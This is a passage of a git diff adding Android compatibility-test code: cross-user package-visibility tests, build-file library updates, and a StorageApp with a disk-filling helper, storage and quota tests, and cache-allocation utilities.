+        } catch (NameNotFoundException e) {
+            fail("Package must be found");
+        }
+    }
+
+    @Test
+    public void testPackageAccess_notInOtherUser() throws Exception {
+        PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
+        try {
+            PackageInfo pi = pm.getPackageInfo(TINY_PKG, 0);
+            // If it doesn't throw an exception, then at least it should be null
+            assertNull(pi); 
+        } catch (NameNotFoundException e) {
+        }
+    }
+
+    @Test
+    public void testPackageAccess_notInOtherUserUninstalled() throws Exception {
+        PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
+        try {
+            PackageInfo pi = pm.getPackageInfo(TINY_PKG, PackageManager.MATCH_UNINSTALLED_PACKAGES);
+            // If it doesn't throw an exception, then at least it should be null
+            assertNull(pi);
+        } catch (NameNotFoundException e) {
+        }
+    }
+
+    @Test
+    public void testPackageAccess_getPackagesCantSeeTiny() throws Exception {
+        PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
+        List<PackageInfo> packages = pm.getInstalledPackages(
+                PackageManager.MATCH_UNINSTALLED_PACKAGES);
+        for (PackageInfo pi : packages) {
+            if (TINY_PKG.equals(pi.packageName)) {
+                fail(TINY_PKG + " visible in user");
+            }
+        }
+    }
+
+    @Test
+    public void testPackageAccess_getPackagesCanSeeTiny() throws Exception {
+        PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
+        List<PackageInfo> packages = pm.getInstalledPackages(
+                PackageManager.MATCH_UNINSTALLED_PACKAGES);
+        for (PackageInfo pi : packages) {
+            if (TINY_PKG.equals(pi.packageName)) {
+                return;
+            }
+        }
+        fail(TINY_PKG + " not found in getInstalledPackages()");
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
index 1ea4eba..bb171e2 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
@@ -23,7 +23,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test ctsdeviceutil ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util ctstestrunner
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 LOCAL_PROGUARD_ENABLED := disabled
diff --git a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.mk
index 519dac5..adf6a14 100644
--- a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.mk
@@ -18,7 +18,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) \
     ../ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
index 6fcccef..e12feec 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
@@ -48,7 +48,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
@@ -75,7 +75,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
@@ -101,7 +101,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/Hoarder.java b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/Hoarder.java
new file mode 100644
index 0000000..b5bb4d2
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/Hoarder.java
@@ -0,0 +1,129 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.storageapp;
+
+import static com.android.cts.storageapp.Utils.TAG;
+import static com.android.cts.storageapp.Utils.makeUniqueFile;
+
+import android.os.SystemClock;
+import android.system.ErrnoException;
+import android.system.Os;
+import android.system.OsConstants;
+import android.system.StructStatVfs;
+import android.util.Log;
+
+import java.io.File;
+import java.io.FileDescriptor;
+import java.io.IOException;
+
+/**
+ * Utility that tries its hardest to use all possible disk resources.
+ */
+public class Hoarder {
+    private static final String BLOCKS = "blocks";
+    private static final String INODES = "inodes";
+
+    public static void main(String[] args) {
+        final File dir = new File(args[2]);
+        try {
+            switch (args[0]) {
+                case BLOCKS:
+                    doBlocks(dir, false);
+                    break;
+                case INODES:
+                    doInodes(dir, false);
+                    break;
+            }
+        } catch (IOException e) {
+            System.out.println("Failed to allocate: " + e.getMessage());
+            System.exit(1);
+        }
+
+        Log.d(TAG, "Directory gone; giving up");
+        System.exit(0);
+    }
+
+    public static void doBlocks(File dir, boolean oneshot) throws IOException {
+        int failures = 0;
+        while (dir.exists()) {
+            final File target = makeUniqueFile(dir);
+            FileDescriptor fd = null;
+            try {
+                final long size;
+                if (failures == 0) {
+                    final StructStatVfs stat = Os.statvfs(dir.getAbsolutePath());
+                    size = (stat.f_bfree * stat.f_frsize) / 2;
+                } else {
+                    size = 65536;
+                }
+                Log.d(TAG, "Attempting to allocate " + size);
+
+                fd = Os.open(target.getAbsolutePath(),
+                        OsConstants.O_RDWR | OsConstants.O_CREAT, 0700);
+                Os.posix_fallocate(fd, 0, size);
+            } catch (ErrnoException e) {
+                if (e.errno == OsConstants.ENOSPC || e.errno == OsConstants.EDQUOT) {
+                    failures = Math.min(failures + 1, 32);
+                    if (oneshot && failures >= 4) {
+                        Log.d(TAG, "Full!");
+                        return;
+                    } else {
+                        Log.d(TAG, "Failed to allocate; trying again");
+                        SystemClock.sleep(1000);
+                    }
+                } else {
+                    throw new IOException(e);
+                }
+            } finally {
+                try {
+                    if (fd != null) Os.close(fd);
+                } catch (ErrnoException ignored) {
+                }
+            }
+        }
+    }
+
+    public static void doInodes(File dir, boolean oneshot) throws IOException {
+        int failures = 0;
+        while (dir.exists()) {
+            try {
+                final int size = (failures == 0) ? 512 : 16;
+                Log.d(TAG, "Attempting to allocate " + size + " inodes");
+
+                final File a = makeUniqueFile(dir);
+                Os.mkdir(a.getAbsolutePath(), 0700);
+                for (int i = 0; i < size; i++) {
+                    final File b = makeUniqueFile(a);
+                    Os.mkdir(b.getAbsolutePath(), 0700);
+                }
+            } catch (ErrnoException e) {
+                if (e.errno == OsConstants.ENOSPC || e.errno == OsConstants.EDQUOT) {
+                    failures = Math.min(failures + 1, 32);
+                    if (oneshot && failures >= 4) {
+                        Log.d(TAG, "Full!");
+                        return;
+                    } else {
+                        Log.d(TAG, "Failed to allocate; trying again");
+                        SystemClock.sleep(1000);
+                    }
+                } else {
+                    throw new IOException(e);
+                }
+            }
+        }
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
new file mode 100644
index 0000000..9d0dec6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
@@ -0,0 +1,224 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.storageapp;
+
+import static com.android.cts.storageapp.Utils.CACHE_ALL;
+import static com.android.cts.storageapp.Utils.CACHE_EXT;
+import static com.android.cts.storageapp.Utils.CACHE_INT;
+import static com.android.cts.storageapp.Utils.DATA_EXT;
+import static com.android.cts.storageapp.Utils.DATA_INT;
+import static com.android.cts.storageapp.Utils.MB_IN_BYTES;
+import static com.android.cts.storageapp.Utils.PKG_B;
+import static com.android.cts.storageapp.Utils.assertMostlyEquals;
+import static com.android.cts.storageapp.Utils.getSizeManual;
+import static com.android.cts.storageapp.Utils.makeUniqueFile;
+import static com.android.cts.storageapp.Utils.shouldHaveQuota;
+import static com.android.cts.storageapp.Utils.useSpace;
+
+import android.app.usage.StorageStats;
+import android.app.usage.StorageStatsManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageManager;
+import android.os.Environment;
+import android.os.ParcelFileDescriptor;
+import android.os.UserHandle;
+import android.os.storage.StorageManager;
+import android.system.Os;
+import android.test.InstrumentationTestCase;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.UUID;
+
+/**
+ * Client app for verifying storage behaviors.
+ */
+public class StorageTest extends InstrumentationTestCase {
+    private Context getContext() {
+        return getInstrumentation().getContext();
+    }
+
+    public void testAllocate() throws Exception {
+        useSpace(getContext());
+    }
+
+    public void testFullDisk() throws Exception {
+        if (shouldHaveQuota(Os.uname())) {
+            final File dataDir = getContext().getDataDir();
+
+            // Pre-flight to see if we have enough disk space to test with
+            final long total = dataDir.getTotalSpace();
+            final long free = dataDir.getFreeSpace();
+            final long required = ((total * 9) / 10) + MB_IN_BYTES;
+            if (free < required) {
+                fail("Skipping full disk test; only found " + free + " free out of " + total);
+            }
+
+            Hoarder.doBlocks(dataDir, true);
+        } else {
+            fail("Skipping full disk test due to missing quota support");
+        }
+    }
+
+    public void testTweakComponent() throws Exception {
+        getContext().getPackageManager().setComponentEnabledSetting(
+                new ComponentName(getContext().getPackageName(), UtilsReceiver.class.getName()),
+                PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
+    }
+
+    /**
+     * Measure ourselves manually.
+     */
+    public void testVerifySpaceManual() throws Exception {
+        assertMostlyEquals(DATA_INT,
+                getSizeManual(getContext().getDataDir()));
+        assertMostlyEquals(DATA_EXT,
+                getSizeManual(getContext().getExternalCacheDir().getParentFile()));
+    }
+
+    /**
+     * Measure ourselves using platform APIs.
+     */
+    public void testVerifySpaceApi() throws Exception {
+        final StorageManager sm = getContext().getSystemService(StorageManager.class);
+        final StorageStatsManager stats = getContext().getSystemService(StorageStatsManager.class);
+
+        final long cacheSize = sm.getCacheSizeBytes(
+                sm.getUuidForPath(getContext().getCacheDir()));
+        final long extCacheSize = sm.getCacheSizeBytes(
+                sm.getUuidForPath(getContext().getExternalCacheDir()));
+        if (cacheSize == extCacheSize) {
+            assertMostlyEquals(CACHE_ALL, cacheSize);
+        } else {
+            assertMostlyEquals(CACHE_INT, cacheSize);
+            assertMostlyEquals(CACHE_EXT, extCacheSize);
+        }
+
+        // Verify APIs that don't require any special permissions
+        assertTrue(stats.getTotalBytes(StorageManager.UUID_DEFAULT) >= Environment
+                .getDataDirectory().getTotalSpace());
+        assertTrue(stats.getFreeBytes(StorageManager.UUID_DEFAULT) >= Environment
+                .getDataDirectory().getUsableSpace());
+
+        // Verify that we can see our own stats, and that they look sane
+        ApplicationInfo ai = getContext().getApplicationInfo();
+        final StorageStats pstats = stats.queryStatsForPackage(ai.storageUuid, ai.packageName,
+                UserHandle.getUserHandleForUid(ai.uid));
+        final StorageStats ustats = stats.queryStatsForUid(ai.storageUuid, ai.uid);
+        assertEquals(cacheSize, pstats.getCacheBytes());
+        assertEquals(cacheSize, ustats.getCacheBytes());
+
+        // Verify that other packages are off-limits
+        ai = getContext().getPackageManager().getApplicationInfo(PKG_B, 0);
+        try {
+            stats.queryStatsForPackage(ai.storageUuid, ai.packageName,
+                    UserHandle.getUserHandleForUid(ai.uid));
+            fail("Unexpected access");
+        } catch (SecurityException expected) {
+        }
+        try {
+            stats.queryStatsForUid(ai.storageUuid, ai.uid);
+            fail("Unexpected access");
+        } catch (SecurityException expected) {
+        }
+        try {
+            stats.queryExternalStatsForUser(StorageManager.UUID_DEFAULT,
+                    android.os.Process.myUserHandle());
+            fail("Unexpected access");
+        } catch (SecurityException expected) {
+        }
+    }
+
+    public void testVerifyQuotaApi() throws Exception {
+        final StorageManager sm = getContext().getSystemService(StorageManager.class);
+
+        final long cacheSize = sm.getCacheQuotaBytes(
+                sm.getUuidForPath(getContext().getCacheDir()));
+        assertTrue("Apps must have at least 10MB quota", cacheSize > 10 * MB_IN_BYTES);
+    }
+
+    public void testVerifyAllocateApi() throws Exception {
+        final StorageManager sm = getContext().getSystemService(StorageManager.class);
+
+        final File filesDir = getContext().getFilesDir();
+        final File extDir = Environment.getExternalStorageDirectory();
+
+        final UUID filesUuid = sm.getUuidForPath(filesDir);
+        final UUID extUuid = sm.getUuidForPath(extDir);
+
+        assertTrue("Apps must be able to allocate internal space",
+                sm.getAllocatableBytes(filesUuid) > 10 * MB_IN_BYTES);
+        assertTrue("Apps must be able to allocate external space",
+                sm.getAllocatableBytes(extUuid) > 10 * MB_IN_BYTES);
+
+        // Should always be able to allocate 1MB indirectly
+        sm.allocateBytes(filesUuid, 1 * MB_IN_BYTES);
+
+        // Should always be able to allocate 1MB directly
+        final File filesFile = makeUniqueFile(filesDir);
+        assertEquals(0L, filesFile.length());
+        try (ParcelFileDescriptor pfd = ParcelFileDescriptor.open(filesFile,
+                ParcelFileDescriptor.parseMode("rwt"))) {
+            sm.allocateBytes(pfd.getFileDescriptor(), 1 * MB_IN_BYTES);
+        }
+        assertEquals(1 * MB_IN_BYTES, filesFile.length());
+    }
+
+    public void testBehaviorNormal() throws Exception {
+        final StorageManager sm = getContext().getSystemService(StorageManager.class);
+
+        final File dir = makeUniqueFile(getContext().getCacheDir());
+        dir.mkdir();
+        assertFalse(sm.isCacheBehaviorGroup(dir));
+        assertFalse(sm.isCacheBehaviorTombstone(dir));
+
+        final File ext = makeUniqueFile(getContext().getExternalCacheDir());
+        ext.mkdir();
+        try { sm.isCacheBehaviorGroup(ext); fail(); } catch (IOException expected) { }
+        try { sm.isCacheBehaviorTombstone(ext); fail(); } catch (IOException expected) { }
+    }
+
+    public void testBehaviorGroup() throws Exception {
+        final StorageManager sm = getContext().getSystemService(StorageManager.class);
+
+        final File dir = makeUniqueFile(getContext().getCacheDir());
+        dir.mkdir();
+        sm.setCacheBehaviorGroup(dir, true);
+        assertTrue(sm.isCacheBehaviorGroup(dir));
+
+        final File ext = makeUniqueFile(getContext().getExternalCacheDir());
+        ext.mkdir();
+        try { sm.setCacheBehaviorGroup(ext, true); fail(); } catch (IOException expected) { }
+        try { sm.setCacheBehaviorGroup(ext, false); fail(); } catch (IOException expected) { }
+    }
+
+    public void testBehaviorTombstone() throws Exception {
+        final StorageManager sm = getContext().getSystemService(StorageManager.class);
+
+        final File dir = makeUniqueFile(getContext().getCacheDir());
+        dir.mkdir();
+        sm.setCacheBehaviorTombstone(dir, true);
+        assertTrue(sm.isCacheBehaviorTombstone(dir));
+
+        final File ext = makeUniqueFile(getContext().getExternalCacheDir());
+        ext.mkdir();
+        try { sm.setCacheBehaviorTombstone(ext, true); fail(); } catch (IOException expected) { }
+        try { sm.setCacheBehaviorTombstone(ext, false); fail(); } catch (IOException expected) { }
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/Utils.java b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/Utils.java
new file mode 100644
index 0000000..6908ad8
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/Utils.java
@@ -0,0 +1,218 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.storageapp;
+
+import android.content.Context;
+import android.system.Os;
+import android.system.OsConstants;
+import android.system.StructUtsname;
+import android.util.Log;
+
+import junit.framework.AssertionFailedError;
+
+import java.io.BufferedReader;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileDescriptor;
+import java.io.FileOutputStream;
+import java.io.FileReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.Arrays;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+public class Utils {
+    public static final String TAG = "StorageApp";
+
+    public static final String PKG_A = "com.android.cts.storageapp_a";
+    public static final String PKG_B = "com.android.cts.storageapp_b";
+
+    // You will pry my kibibytes from my cold dead hands! But to make test
+    // results easier to debug, we'll use kilobytes...
+    public static final long KB_IN_BYTES = 1000;
+    public static final long MB_IN_BYTES = KB_IN_BYTES * 1000;
+    public static final long GB_IN_BYTES = MB_IN_BYTES * 1000;
+
+    public static final long DATA_INT = (2 + 3 + 5 + 13 + 17 + 19 + 23) * MB_IN_BYTES;
+    public static final long DATA_EXT = (7 + 11) * MB_IN_BYTES;
+    public static final long DATA_ALL = DATA_INT + DATA_EXT; // 100MB
+
+    public static final long CACHE_INT = (3 + 5 + 17 + 19 + 23) * MB_IN_BYTES;
+    public static final long CACHE_EXT = (11) * MB_IN_BYTES;
+    public static final long CACHE_ALL = CACHE_INT + CACHE_EXT; // 78MB
+
+    public static final long CODE_ALL = 29 * MB_IN_BYTES;
+
+    public static void useSpace(Context c) throws Exception {
+        // We use prime numbers for all values so that we can easily identify
+        // which file(s) are missing from broken test results.
+        useWrite(makeUniqueFile(c.getFilesDir()), 2 * MB_IN_BYTES);
+        useWrite(makeUniqueFile(c.getCodeCacheDir()), 3 * MB_IN_BYTES);
+        useWrite(makeUniqueFile(c.getCacheDir()), 5 * MB_IN_BYTES);
+        useWrite(makeUniqueFile(c.getExternalFilesDir("meow")), 7 * MB_IN_BYTES);
+        useWrite(makeUniqueFile(c.getExternalCacheDir()), 11 * MB_IN_BYTES);
+
+        useFallocate(makeUniqueFile(c.getFilesDir()), 13 * MB_IN_BYTES);
+        useFallocate(makeUniqueFile(c.getCodeCacheDir()), 17 * MB_IN_BYTES);
+        useFallocate(makeUniqueFile(c.getCacheDir()), 19 * MB_IN_BYTES);
+        final File subdir = makeUniqueFile(c.getCacheDir());
+        Os.mkdir(subdir.getAbsolutePath(), 0700);
+        useFallocate(makeUniqueFile(subdir), 23 * MB_IN_BYTES);
+
+        useWrite(makeUniqueFile(c.getObbDir()), 29 * MB_IN_BYTES);
+    }
+
+    public static void assertAtLeast(long expected, long actual) {
+        if (actual < expected) {
+            throw new AssertionFailedError("Expected at least " + expected + " but was " + actual
+                    + " [" + android.os.Process.myUserHandle() + "]");
+        }
+    }
+
+    public static void assertMostlyEquals(long expected, long actual) {
+        assertMostlyEquals(expected, actual, 500 * KB_IN_BYTES);
+    }
+
+    public static void assertMostlyEquals(long expected, long actual, long delta) {
+        if (Math.abs(expected - actual) > delta) {
+            throw new AssertionFailedError("Expected roughly " + expected + " but was " + actual
+                    + " [" + android.os.Process.myUserHandle() + "]");
+        }
+    }
+
+    public static File makeUniqueFile(File dir) {
+        return new File(dir, Long.toString(System.nanoTime()));
+    }
+
+    public static File useWrite(File file, long size) throws Exception {
+        try (FileOutputStream os = new FileOutputStream(file)) {
+            final byte[] buf = new byte[1024];
+            while (size > 0) {
+                os.write(buf, 0, (int) Math.min(buf.length, size));
+                size -= buf.length;
+            }
+        }
+        return file;
+    }
+
+    public static File useFallocate(File file, long length, long time) throws Exception {
+        final File res = useFallocate(file, length);
+        file.setLastModified(time);
+        return res;
+    }
+
+    public static File useFallocate(File file, long length) throws Exception {
+        final FileDescriptor fd = Os.open(file.getAbsolutePath(),
+                OsConstants.O_CREAT | OsConstants.O_RDWR | OsConstants.O_TRUNC, 0700);
+        try {
+            Os.posix_fallocate(fd, 0, length);
+        } finally {
+            Os.close(fd);
+        }
+        return file;
+    }
+
+    public static long getSizeManual(File dir) throws Exception {
+        return getSizeManual(dir, false);
+    }
+
+    public static long getSizeManual(File dir, boolean excludeObb) throws Exception {
+        long size = getAllocatedSize(dir);
+        for (File f : dir.listFiles()) {
+            if (f.isDirectory()) {
+                if (excludeObb && f.getName().equalsIgnoreCase("obb")
+                        && f.getParentFile().getName().equalsIgnoreCase("Android")) {
+                    Log.d(TAG, "Ignoring OBB directory " + f);
+                } else {
+                    size += getSizeManual(f, excludeObb);
+                }
+            } else {
+                size += getAllocatedSize(f);
+            }
+        }
+        return size;
+    }
+
+    private static long getAllocatedSize(File f) throws Exception {
+        return Os.lstat(f.getAbsolutePath()).st_blocks * 512;
+    }
+
+    public static boolean deleteContents(File dir) {
+        File[] files = dir.listFiles();
+        boolean success = true;
+        if (files != null) {
+            for (File file : files) {
+                if (file.isDirectory()) {
+                    success &= deleteContents(file);
+                }
+                if (!file.delete()) {
+                    success = false;
+                }
+            }
+        }
+        return success;
+    }
+
+    public static boolean shouldHaveQuota(StructUtsname uname) throws Exception {
+        try (BufferedReader br = new BufferedReader(new FileReader("/proc/mounts"))) {
+            String line;
+            while ((line = br.readLine()) != null) {
+                final String[] fields = line.split(" ");
+                final String target = fields[1];
+                final String format = fields[2];
+
+                if (target.equals("/data") && !format.equals("ext4")) {
+                    Log.d(TAG, "Assuming no quota support because /data is " + format);
+                    return false;
+                }
+            }
+        }
+
+        final Matcher matcher = Pattern.compile("(\\d+)\\.(\\d+)").matcher(uname.release);
+        if (!matcher.find()) {
+            throw new IllegalStateException("Failed to parse version: " + uname.release);
+        }
+        final int major = Integer.parseInt(matcher.group(1));
+        final int minor = Integer.parseInt(matcher.group(2));
+        return (major > 3 || (major == 3 && minor >= 18));
+    }
+
+    public static void logCommand(String... cmd) throws Exception {
+        final Process proc = new ProcessBuilder(cmd).redirectErrorStream(true).start();
+
+        final ByteArrayOutputStream buf = new ByteArrayOutputStream();
+        copy(proc.getInputStream(), buf);
+        final int res = proc.waitFor();
+
+        Log.d(TAG, Arrays.toString(cmd) + " result " + res + ":");
+        Log.d(TAG, buf.toString());
+    }
+
+    /** Shamelessly lifted from libcore.io.Streams */
+    public static int copy(InputStream in, OutputStream out) throws IOException {
+        int total = 0;
+        byte[] buffer = new byte[8192];
+        int c;
+        while ((c = in.read(buffer)) != -1) {
+            total += c;
+            out.write(buffer, 0, c);
+        }
+        return total;
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/UtilsProvider.java b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/UtilsProvider.java
new file mode 100644
index 0000000..dd48a6b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/UtilsProvider.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.storageapp;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.Bundle;
+
+public class UtilsProvider extends ContentProvider {
+    @Override
+    public Bundle call(String method, String arg, Bundle extras) {
+        return UtilsReceiver.doAllocation(getContext(), extras);
+    }
+
+    @Override
+    public boolean onCreate() {
+        return true;
+    }
+
+    @Override
+    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+            String sortOrder) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public String getType(Uri uri) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public Uri insert(Uri uri, ContentValues values) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public int delete(Uri uri, String selection, String[] selectionArgs) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+        throw new UnsupportedOperationException();
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/UtilsReceiver.java b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/UtilsReceiver.java
new file mode 100644
index 0000000..927968c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/UtilsReceiver.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.storageapp;
+
+import static com.android.cts.storageapp.Utils.TAG;
+import static com.android.cts.storageapp.Utils.makeUniqueFile;
+import static com.android.cts.storageapp.Utils.useFallocate;
+import static com.android.cts.storageapp.Utils.useWrite;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.storage.StorageManager;
+import android.system.Os;
+import android.util.Log;
+
+import java.io.File;
+import java.util.Objects;
+import java.util.UUID;
+
+public class UtilsReceiver extends BroadcastReceiver {
+    public static final String EXTRA_FRACTION = "fraction";
+    public static final String EXTRA_BYTES = "bytes";
+    public static final String EXTRA_TIME = "time";
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        final Bundle res = doAllocation(context, intent.getExtras());
+        if (res != null) {
+            setResultCode(Activity.RESULT_OK);
+            setResultExtras(res);
+        } else {
+            setResultCode(Activity.RESULT_CANCELED);
+        }
+    }
+
+    public static Bundle doAllocation(Context context, Bundle extras) {
+        final StorageManager sm = context.getSystemService(StorageManager.class);
+
+        long allocated = 0;
+        try {
+            // When shared storage is backed by internal, then pivot our cache
+            // files between the two locations to ensure clearing logic works.
+            final File intDir = context.getCacheDir();
+            final File extDir = context.getExternalCacheDir();
+            final UUID intUuid = sm.getUuidForPath(intDir);
+            final UUID extUuid = sm.getUuidForPath(extDir);
+
+            Log.d(TAG, "Found internal " + intUuid + " and external " + extUuid);
+            final boolean doPivot = Objects.equals(intUuid, extUuid);
+
+            final double fraction = extras.getDouble(EXTRA_FRACTION, 0);
+            final long quota = sm.getCacheQuotaBytes(intUuid);
+            final long bytes = (long) (quota * fraction);
+            final long time = extras.getLong(EXTRA_TIME, System.currentTimeMillis());
+
+            int i = 0;
+            while (allocated < bytes) {
+                final File target;
+                if (doPivot) {
+                    target = (i++ % 2) == 0 ? intDir : extDir;
+                } else {
+                    target = intDir;
+                }
+
+                final File f = makeUniqueFile(target);
+                final long size = 1024 * 1024;
+                if (target == intDir) {
+                    useFallocate(f, size);
+                } else {
+                    useWrite(f, size);
+                }
+                f.setLastModified(time);
+                allocated += Os.stat(f.getAbsolutePath()).st_blocks * 512;
+            }
+
+            Log.d(TAG, "Quota " + quota + ", target " + bytes + ", allocated " + allocated);
+
+            final Bundle res = new Bundle();
+            res.putLong(EXTRA_BYTES, allocated);
+            return res;
+        } catch (Exception e) {
+            Log.e(TAG, "Failed to allocate cache files", e);
+            return null;
+        }
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/StorageAppA/Android.mk b/hostsidetests/appsecurity/test-apps/StorageAppA/Android.mk
new file mode 100644
index 0000000..6367912
